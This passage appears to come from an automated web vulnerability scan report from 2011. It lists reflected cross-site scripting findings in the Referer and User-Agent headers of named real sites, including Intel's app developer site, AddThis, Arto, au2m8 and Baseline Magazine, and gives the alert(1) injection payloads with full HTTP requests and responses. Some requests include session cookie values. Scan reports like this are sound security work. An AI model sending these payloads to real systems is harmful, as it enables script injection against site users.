Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Set-Cookie: loginpt=0
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
xml:lang="en" lang="en" dir="ltr">
...[SNIP]...
veloper Challenge";
                   var wa_eCustom24 = "";
                   var wa_eCustom28="http://appdeveloper.intel.com/en-us/contest/developerchallenge";

                   var wa_custom11="http://www.google.com/search?hl=en&q=95846"-alert(1)-"09f37818470";


                                       var wa_urlQueryString="";
                   var wa_reportSuites="intelappdeveloper,intelcorpsw";
                   var wa_trackDFA="n";

               </script>
...[SNIP]...

4.657. http://appdeveloper.intel.com/en-us/join [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://appdeveloper.intel.com
Path:	/en-us/join

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5700"-alert(1)-"94552111633 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /en-us/join HTTP/1.1
Host: appdeveloper.intel.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=a5700"-alert(1)-"94552111633

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 21:51:12 GMT
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Set-Cookie: SESS5a5e2306769d28180c45e44dbead8572=f06d1ac0a36c5756f7a59d2610c9cc22; expires=Tue, 01-Mar-2011 01:24:31 GMT; path=/
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 21:51:11 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Set-Cookie: loginpt=0
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
xml:lang="en" lang="en" dir="ltr">
...[SNIP]...

                   var wa_custom43="User|Join|home";
                   var wa_eCustom24 = "";
                   var wa_eCustom28="http://appdeveloper.intel.com/en-us/join";

                   var wa_custom11="http://www.google.com/search?hl=en&q=a5700"-alert(1)-"94552111633";


                                       var wa_urlQueryString="";
                   var wa_reportSuites="intelappdeveloper,intelcorpsw";
                   var wa_trackDFA="n";

               </script>
...[SNIP]...

4.658. http://www.addthis.com/bookmark.php [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.addthis.com
Path:	/bookmark.php

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ce49"><script>alert(1)</script>b71393fda3d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /bookmark.php HTTP/1.1
Host: www.addthis.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=9ce49"><script>alert(1)</script>b71393fda3d

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:05:16 GMT
Server: Apache
X-Powered-By: PHP/5.2.13
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/
Content-Length: 94155

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>AddThis Social Bookm
...[SNIP]...
<input type="hidden" id="url" name="url" value="http://www.google.com/search?hl=en&q=9ce49"><script>alert(1)</script>b71393fda3d" />
...[SNIP]...

4.659. http://www.addthis.com/bookmark.php [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.addthis.com
Path:	/bookmark.php

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload c9be4<script>alert(1)</script>267a9949814 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:05:16 GMT
Server: Apache
X-Powered-By: PHP/5.2.13
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/
Content-Length: 94141

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>AddThis Social Bookm
...[SNIP]...
<h4>c9be4<script>alert(1)</script>267a9949814 - Google search</h4>
...[SNIP]...

4.660. http://www.arto.com/ [User-Agent HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.arto.com
Path:	/

Issue detail

The value of the User-Agent HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9910"><script>alert(1)</script>a834ad17d4e was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET / HTTP/1.1
Host: www.arto.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)b9910"><script>alert(1)</script>a834ad17d4e
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=t3lqid2f5pl1cnycigzwhgb4; path=/; HttpOnly
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 23:01:58 GMT
Connection: close
Content-Length: 69448

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<input type="hidden" name="__USERAGENT" id="__USERAGENT" value="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)b9910"><script>alert(1)</script>a834ad17d4e" />
...[SNIP]...

4.661. http://www.au2m8.com/v/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e9cbb'-alert(1)-'d9026def35b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /v/ HTTP/1.1
Host: www.au2m8.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bpl1296950982=1296947382; countryID=us; ARPT=NQJKKYS192.168.100.218CKOWJ; bpl1296950951=1296947351; bpl1296950905=1296947305; bpl1296950890=1296947290; bpl1296950921=1296947321; videoID=expired; bpl1296950936=1296947336; j2playlist=5731; auto=expired; bpl1296950967=1296947367; playlist=5731;
Referer: http://www.google.com/search?hl=en&q=e9cbb'-alert(1)-'d9026def35b

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:34:29 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sat, 05 Feb 2011 23:34:29 GMT
Last-Modified: Sat, 05 Feb 2011 23:34:29 GMT
Set-Cookie: bpl1296952469=1296948869; expires=Sun, 06-Feb-2011 00:34:29 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 00:34:29 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 00:34:29 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731; expires=Mon, 07-Feb-2011 23:34:29 GMT; path=/; domain=.au2m8.com
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14912

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sat, 05 Feb 2011 23:34:29 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...
a;
lxz = lala;
}
    if(ns != undefined && ns !='') {
    ln1 = ns;
    } else {
    ln1 = 'www.google.com/search?hl=en&q=e9cbb'-alert(1)-'d9026def35b';
    }
    if(ln1 != ''){
    ln = escape(ln1);
               }else{
    ln2 = document.referrer;
                if(ln2 != ''){
    ln = escape(ln2);
                }el
...[SNIP]...

4.662. http://www.au2m8.com/v/index.php [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/index.php

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e676e'-alert(1)-'4f05ce07561 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /v/index.php HTTP/1.1
Host: www.au2m8.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bpl1296950982=1296947382; countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1296950951=1296947351; bpl1296950905=1296947305; bpl1297002333=1296998733; bpl1296950890=1296947290; bpl1296950921=1296947321; bpl1297002238=1296998638; bpl1297002318=1296998718; videoID=expired; bpl1297002302=1296998702; bpl1297002287=1296998687; bpl1296950936=1296947336; j2playlist=4881; auto=expired; bpl1296950967=1296947367; playlist=5731%2C4881; bpl1297002348=1296998748;
Referer: http://www.google.com/search?hl=en&q=e676e'-alert(1)-'4f05ce07561

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:02:11 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:02:11 GMT
Last-Modified: Sun, 06 Feb 2011 16:02:11 GMT
Set-Cookie: bpl1297011731=1297008131; expires=Sun, 06-Feb-2011 17:02:11 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:02:11 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:02:11 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:02:11 GMT; path=/; domain=.au2m8.com
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 15033

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:02:11 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...
a;
lxz = lala;
}
    if(ns != undefined && ns !='') {
    ln1 = ns;
    } else {
    ln1 = 'www.google.com/search?hl=en&q=e676e'-alert(1)-'4f05ce07561';
    }
    if(ln1 != ''){
    ln = escape(ln1);
               }else{
    ln2 = document.referrer;
                if(ln2 != ''){
    ln = escape(ln2);
                }el
...[SNIP]...

4.663. http://www.baselinemag.com/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 40d83"-alert(1)-"2d8f5a16807 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET / HTTP/1.1
Host: www.baselinemag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; __utmz=262210463.1296998524.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/45; ebNewBandWidth_.www.baselinemag.com=2657%3A1296998583815; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_sq=%5B%5BB%5D%5D; s_nr=1296998582163-New; __utma=262210463.1274416164.1296998524.1296998524.1296998524.1; __utmc=262210463; __qca=P0-352073445-1296998593146; __utmb=262210463.3.10.1296998524; sessioncookie=a3c496ee62329678ad4d9915421e3c06;
Referer: http://www.google.com/search?hl=en&q=40d83"-alert(1)-"2d8f5a16807

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:08:30 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=1b522da820290515197c5de306501eaa; expires=Mon, 06-Feb-2012 16:08:29 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:08:29 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 64726

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<link rel="alternate" type="application/rss+xml" title="Baseline:" href="http://www.baselinemag.com/rss.xml" />
<title>Inf
...[SNIP]...
<!--
s.pageName="Baseline Home"
s.referrer = "http://www.google.com/search?hl=en&q=40d83"-alert(1)-"2d8f5a16807"
s.server=""
s.channel="Baseline Home"
s.pageType=""
s.prop1=""
s.prop2="Home"
s.prop3=""
s.prop4="Baseline Home"
s.prop5="Online"
s.prop6="Baseline Home"
s.prop7="Unregistered"
s.prop8=""
s.prop9=""

...[SNIP]...

4.664. http://www.baselinemag.com/blank.gif [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/blank.gif

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 70f3f"-alert(1)-"9628bc32550 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /blank.gif HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=70f3f"-alert(1)-"9628bc32550
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=262210463.1296998524.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/45; sessioncookie=a3c496ee62329678ad4d9915421e3c06; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_cc=true; s_nr=1296998534562-New; s_sq=%5B%5BB%5D%5D; __utma=262210463.1274416164.1296998524.1296998524.1296998524.1; __utmc=262210463; __utmb=262210463.2.10.1296998524

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:22:09 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Content-Length: 3791

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
<!--
s.pageName=""
s.referrer = "http://www.google.com/search?hl=en&q=70f3f"-alert(1)-"9628bc32550"
s.server=""
s.channel="Baselinemag Home>
...[SNIP]...

4.665. http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cc32f"-alert(1)-"364a56e431a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/ HTTP/1.1
Host: www.baselinemag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=cc32f"-alert(1)-"364a56e431a

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sat, 05 Feb 2011 23:01:46 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=01694964e1742e7bc2699775bba99a16; expires=Sun, 05-Feb-2012 23:01:46 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 23:01:46 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 102273

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<link rel="alternate" type="application/rss+xml" title="Baseline:" href="http://www.baselinemag.com/rss-feeds-79.xml" />
<
...[SNIP]...
<!--
s.pageName="Macy's Ramps Up Online Operations-Page001-6280"
s.referrer = "http://www.google.com/search?hl=en&q=cc32f"-alert(1)-"364a56e431a"
s.server=""
s.channel="Baseline Home>
...[SNIP]...

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/&hl=en&client=ca-pub-6422417422167576&adU=www.RiminiStreet.com&adT=ImageAd&gl=US&usg=AFQjCNH5RnMJStR1tz53GbCMllXhLJ0M_g/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 92d3d"-alert(1)-"dc60051143 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/&hl=en&client=ca-pub-6422417422167576&adU=www.RiminiStreet.com&adT=ImageAd&gl=US&usg=AFQjCNH5RnMJStR1tz53GbCMllXhLJ0M_g/ HTTP/1.1
Host: www.baselinemag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; __utmz=262210463.1296998524.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/45; ebNewBandWidth_.www.baselinemag.com=2657%3A1296998583815; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_sq=%5B%5BB%5D%5D; s_nr=1296998582163-New; __utma=262210463.1274416164.1296998524.1296998524.1296998524.1; __utmc=262210463; __qca=P0-352073445-1296998593146; __utmb=262210463.3.10.1296998524; sessioncookie=a3c496ee62329678ad4d9915421e3c06;
Referer: http://www.google.com/search?hl=en&q=92d3d"-alert(1)-"dc60051143

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:05:24 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Content-Length: 3983

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
<!--
s.pageName=""
s.referrer = "http://www.google.com/search?hl=en&q=92d3d"-alert(1)-"dc60051143"
s.server=""
s.channel="Baselinemag Home>
...[SNIP]...

4.667. http://www.baselinemag.com/googlecse.html [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/googlecse.html

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 97a19"-alert(1)-"670bb88e8f4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /googlecse.html HTTP/1.1
Host: www.baselinemag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; __utmz=262210463.1296998524.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/45; ebNewBandWidth_.www.baselinemag.com=2657%3A1296998583815; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_sq=%5B%5BB%5D%5D; s_nr=1296998582163-New; __utma=262210463.1274416164.1296998524.1296998524.1296998524.1; __utmc=262210463; __qca=P0-352073445-1296998593146; __utmb=262210463.3.10.1296998524; sessioncookie=a3c496ee62329678ad4d9915421e3c06;
Referer: http://www.google.com/search?hl=en&q=97a19"-alert(1)-"670bb88e8f4

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:05:38 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=5f4586e5c97cc555ea02107d5bd86be0; expires=Mon, 06-Feb-2012 16:05:37 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:05:37 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 56006

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<link rel="alternate" type="application/rss+xml" title="Baseline:" href="http://www.baselinemag.com/rss.xml" />
<title>Bas
...[SNIP]...
<!--
s.pageName="Baseline Search Results"
s.referrer = "http://www.google.com/search?hl=en&q=97a19"-alert(1)-"670bb88e8f4"
s.server=""
s.channel="Baseline Home>
...[SNIP]...

4.668. http://www.baselinemag.com/images/marketplace-hdr-bg.gif [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/images/marketplace-hdr-bg.gif

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload adad6"-alert(1)-"5522cfd1d64 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /images/marketplace-hdr-bg.gif HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=adad6"-alert(1)-"5522cfd1d64
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=262210463.1296998524.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/45; sessioncookie=a3c496ee62329678ad4d9915421e3c06; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_cc=true; s_nr=1296998534562-New; s_sq=%5B%5BB%5D%5D; __utma=262210463.1274416164.1296998524.1296998524.1296998524.1; __utmc=262210463; __utmb=262210463.2.10.1296998524

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:22:19 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Content-Length: 3811

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
<!--
s.pageName=""
s.referrer = "http://www.google.com/search?hl=en&q=adad6"-alert(1)-"5522cfd1d64"
s.server=""
s.channel="Baselinemag Home>
...[SNIP]...

4.669. http://www.baselinemag.com/images/marketplace-hdr.gif [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/images/marketplace-hdr.gif

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f9677"-alert(1)-"60c757f6c00 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /images/marketplace-hdr.gif HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=f9677"-alert(1)-"60c757f6c00
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
